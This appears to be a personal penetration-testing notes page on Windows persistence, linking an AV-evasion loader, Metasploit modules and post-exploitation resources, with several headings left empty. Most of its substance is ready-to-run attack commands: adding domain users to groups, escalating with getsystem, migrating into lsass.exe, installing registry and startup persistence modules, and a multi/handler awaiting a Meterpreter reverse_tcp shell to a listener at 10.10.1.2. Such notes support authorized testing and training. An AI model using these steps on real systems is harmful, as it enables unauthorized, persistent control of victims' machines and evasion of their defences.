

Persistence

Owner	Raymond Soreng
Tags	

GitHub - two06/Inception: Provides In-memory compilation and reflective loading of C# apps for AV evasion.

Inception provides In-memory compilation and reflective loading of C# apps for AV evasion. Payloads are AES encrypted before transmission and are decrypted in memory. The payload server ensures that payloads can only be fetched a pre-determined number of times. Once decrypted, Roslyn is used to build the C# payload in memory, which is then executed

<https://github.com/two06/Inception>

two06/Inception

Provides In-memory compilation and reflective loading of C# apps for AV evasion.

1 Contributor 0 Issues 366 Stars 86 Forks

Windows Persistent Registry Startup Payload Installer

Description This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). Author(s) Platform Windows

<https://www.rapid7.com/db/modules/exploit/windows/local/persistence>

RAPID7

General Persistence

▼ Traditional

```
# Add a group to the domain
net group <groupname> /add /domain
# add a user to a domain group
net group <groupname> <user> /add /domain
# add a user to a local group
net group <groupname> <user> /add
# add a local group
net group <groupname>
```

Once meterpreter session is established

```
getuid

getsystem
getuid

ps -S lsass.exe
migrate 696

background
use exploit/windows/local/persistence
set LPORT 443
set SESSION 1
set STARTUP SYSTEM
exploit
```

We have successfully maintained access. Start another msfconsole and run multi handler to re-gain access

```
msfconsole -q
use exploit/multi/handler
```

```
set LHOST 10.10.1.2
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 443
exploit


sessions -i 1
reboot
```

Netcat

Registry Persistence

Windows Registry Only Persistence

Description This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). The payload will be installed completely in registry. Author(s) Platform Windows

 https://www.rapid7.com/db/modules/exploit/windows/local/registry_persistence/

RAPID7

Once meterpreter session is established

```
background
use exploit/windows/local/registry_persistence
set SESSION 1
exploit
```

By default persistence, the local exploit module uses the following payload and local port for reverse connection.

We have successfully maintained access. Start another msfconsole and run multi-handler to re-gain access

```
msfconsole -q
use exploit/multi/handler
set LHOST 10.10.1.2
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
exploit

sessions -i 1
reboot
```

Service Persistence

Once meterpreter session is established

Scheduled Tasks

RDP

WMIC


WMI Persistence

SharPersist

POWERSHELL

Approved Verbs for PowerShell Commands - PowerShell


PowerShell uses a verb-noun pair for the names of cmdlets and for their derived .NET classes. The verb part of the name identifies the action that the cmdlet performs. The noun part of the name identifies the entity on which the action is performed.

 <https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/approved-verbs-for-windows-powershell-commands?view=powershell-7>



GitHub - emilyanncr/Windows-Post-Exploitation: Windows post-exploitation tools, resources, techniques and commands to use during post-exp

Windows post-exploitation tools, resources, techniques and commands to use during post-exploitation phase of penetration test. Contributions are appreciated. Enjoy!

 <https://github.com/emilyanncr/Windows-Post-Exploitation>

<http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf>